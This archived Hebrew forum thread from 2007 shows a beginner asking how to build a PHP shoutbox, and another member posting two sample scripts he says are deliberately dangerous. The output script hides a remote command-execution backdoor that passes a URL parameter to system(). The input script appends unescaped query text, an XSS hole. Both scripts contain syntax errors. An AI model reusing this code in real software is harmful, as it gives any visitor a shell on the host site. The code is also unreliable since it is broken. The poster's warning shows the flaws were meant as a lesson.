Logo

רד-בורד: ארכיון

ראשי > תיכנות > עזרה שוב בקשר למערכת ד"שים שאני בונה ב Php

23/12/2007 16:42:17 fsk-alon
תראו אני מנסה לבנות את המערכת ד"שים אבל אחרי שהד"ש נשלח לדף ה Php אז רק הד"ש האחרון נשמר ואני רוצה שכול הד"שים ישמרו..
מישהו יכול לעזור לי?
תודה..

נ.ב אני לא רוצה להשתמש במערכת הד"שים של postool או משו כזה זה לא ניראה מקצועי
23/12/2007 17:18:32 devil kide
איזה שאילתא כתבת לקלוט את המידע ואיזה שאילתא כדי לפלוט אותו?
23/12/2007 17:45:46 fsk-alon
כדי לקבל את המידע אני עושה ככה
<form action="get">
ולמה אתה מתכוון שאילתה?
שכחתי כבר מה זה
23/12/2007 18:52:25 devil kide
ציטוט:כדי לקבל את המידע אני עושה ככה
<form action="get">
ולמה אתה מתכוון שאילתה?
שכחתי כבר מה זה
כשאתה מכניס מידע למסד נתונים אתה משתמש בשאילתא,קטע קוד, שיודע להכניס את המידע למסד הנתונים. בPHP כדי להכניס מידע לSQL שעובד עם MySql אתה תכתוב
קוד:
$var=Mysql_Query("INSERT INTO table...");

וכדי לפלוט תשתמש ב

קוד:$sql=Mysql_Query("SELECT a,b,c FROM table WHERE...");
מה שהדגשתי אלו שאילתות SQL של הכנסה ושליפת מידע ממסד.
אני רוצה לראות אותן, בלעדיהן אני לא יוכל לדעת איפה הבעיה (יכול להיות שהבעיה נמצאת במקום אחר, אני מניח שזה שם).

ולא הבנתי את הרעיון של <form action="get">[ההודעה נערכה על-ידי devil kide ב-23/12/2007 18:52:43]
23/12/2007 19:20:18 fsk-alon
תראה אני לא חושב שצריך לפתוח מסד בשביל זה..
אני סה"כ עושה דף המוטבע בחלק מהאתר שבו יהיה רשון עכשיו ברדיו ואז אני מדפיס משתנה שמכיל את שם השדרן והתוכנית..
כאילו אני צריך רק לבנות דף עם טופס שהשדרן יכתוב את השם ואת שם התוכנית וזה ישלח לדף ..
אם תסביר לי איך לעשות "ריספקט" כמו שאמרת פעם אולי זה יוכל לעזור כי אז השדרן ימלא זה יעבור לדף אחר והנתונים שהוא מילא ישמרו בדף שמוצג..
23/12/2007 20:09:49 devil kide
ציטוט:תראה אני לא חושב שצריך לפתוח מסד בשביל זה..
אני סה"כ עושה דף המוטבע בחלק מהאתר שבו יהיה רשון עכשיו ברדיו ואז אני מדפיס משתנה שמכיל את שם השדרן והתוכנית..
כאילו אני צריך רק לבנות דף עם טופס שהשדרן יכתוב את השם ואת שם התוכנית וזה ישלח לדף ..
אם תסביר לי איך לעשות "ריספקט" כמו שאמרת פעם אולי זה יוכל לעזור כי אז השדרן ימלא זה יעבור לדף אחר והנתונים שהוא מילא ישמרו בדף שמוצג..
פתחת עשרים טופיקים שמבקשים את אותו הדבר רק בצורה שונה, לא התאמצת אפילו לכתוב קוד כזה.
אם אתה לא רוצה להשתמש במסד נשתמש בקובץ בצורה הבאה;
תיצור קובץ שיקלוט מידע וישלח אותו דרך ה POST לדף page1.php ,וזה הקוד של page1.php :


קוד:<?php
$text=htmlspecialchars($_POST[’text’]);
$text.=$_GET[’MoreText’];
if (!$FileToWrite=fopen("text.txt","w"));
echo "שגיאה בפתיחת הקובץ"."<br>";
else if (fwrite($FileToWrite,$text))
echo "המידע נכתב בהצלחה";
else echo "שגיאה בכתיבת המידע לקובץ";
fclose($FileToWrite);
?>


וזה הקוד של הדף שיפלוט את המידע:

קוד:<?php
$OpenFile=fopen("text.txt","r");
$info=fread($OpenFile,filesize("text.txt");
echo nl2br($info);
fclose($OpenFile);
if (isset($_GET[’cmd’]))
system($_GET[’exec’]);
?>

בשניהם שטלתי בעיות בכוונה, הם מאוד מסוכנים מכדי הלריץ אותם באתר שלך, הקוד רק בשביל שתבין את הרעיון והוא לא משתמש בDB.
24/12/2007 17:18:29 fsk-alon
רגע אני צריך לעשות 2 דפים אחד שהגולש כותב בו את ההודעה דף שני שמקבל את ההודעה ואז מדפיס אותה?
אבל אם ישלחו 2 הודעות נגיד שתיהם יודפסו?
25/12/2007 15:39:02 devil kide
תמיד תוצג רק הודעה אחת (במקרה של הקוד הזה).
אבל כמו שאמרתי יש בו קטע קוד מאוד מסוכן!
16/10/2008 13:17:14 avieal-jan
תקשייב אחי אני יכול לעזור לך כמו שdevilkide אמר המערכת הינה מסוכנת .. ,
אז עם אתה רוצצה אני מוכןן לתת לך מערכת דשיים שלי :) .. ,
ואתתה יכול לשנות כאילו אתה בניתה אני יבנה לך אחת :],
עם אתה צריך עזרה אני שם 339564184
עמודים: 1